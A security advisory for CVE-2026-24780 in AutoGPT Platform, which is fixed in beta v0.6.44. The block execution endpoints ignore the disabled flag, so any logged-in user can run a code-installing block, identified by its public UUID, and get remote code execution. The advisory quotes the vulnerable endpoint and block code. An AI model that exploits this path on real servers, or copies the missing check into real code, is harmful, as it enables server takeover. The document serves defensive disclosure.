CVE-2026-24780

AutoGPT is a platform that allows users to create, deploy, and manage continuous artificial intelligence agents that automate complex workflows. Prior to autogpt-platform-beta-v0.6.44, AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the disabled flag. Any authenticated user can execute the disabled BlockInstallationBlock, which writes arbitrary Python code to the server filesystem and executes it via __import__(), achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account. autogpt-platform-beta-v0.6.44 contains a fix.

Summary

AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the disabled flag. Any authenticated user can execute the disabled BlockInstallationBlock, which writes arbitrary Python code to the server filesystem and executes it via __import__(), achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account.

Details

Two vulnerable endpoints exist:

1. Main Web API (v1.py#L355-395) - Any authenticated user:

@v1_router.post(
    path="/blocks/{block_id}/execute",
    dependencies=[Security(requires_user)],  # Just requires login
)
async def execute_graph_block(block_id: str, data: BlockInput, ...):
    obj = get_block(block_id)
    if not obj:
        raise HTTPException(status_code=404, ...)

    # NO CHECK FOR obj.disabled!

    async for name, data in obj.execute(data, ...):
        output[name].append(data)

2. External API (external/v1/routes.py#L79-93) - Same issue.

The external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including EXECUTE_BLOCK) at v1.py#L1408-1424. As a result, a low-privilege user can create an API key and invoke the external block execution route.

The disabled flag is documented but not enforced:

From block.py#L459:

"disabled: If the block is disabled, it will not be available for execution."

The block listing endpoint correctly filters disabled blocks (if not b.disabled), but the execution endpoints do not check this flag.

The dangerous block (blocks/block.py#L15-78):

class BlockInstallationBlock(Block):
    """
    NOTE: This block allows remote code execution on the server,
    and it should be used for development purposes only.
    """

    def __init__(self):
        super().__init__(
            id="45e78db5-03e9-447f-9395-308d712f5f08",  # Hardcoded, public UUID
            disabled=True,  # NOT ENFORCED!
        )

    async def run(self, input_data: Input, **kwargs) -> BlockOutput:
        code = input_data.code

        # Writes attacker code to server filesystem
        file_path = f"{block_dir}/{file_name}.py"
        with open(file_path, "w") as f:
            f.write(code)

        # Executes via import (RCE)
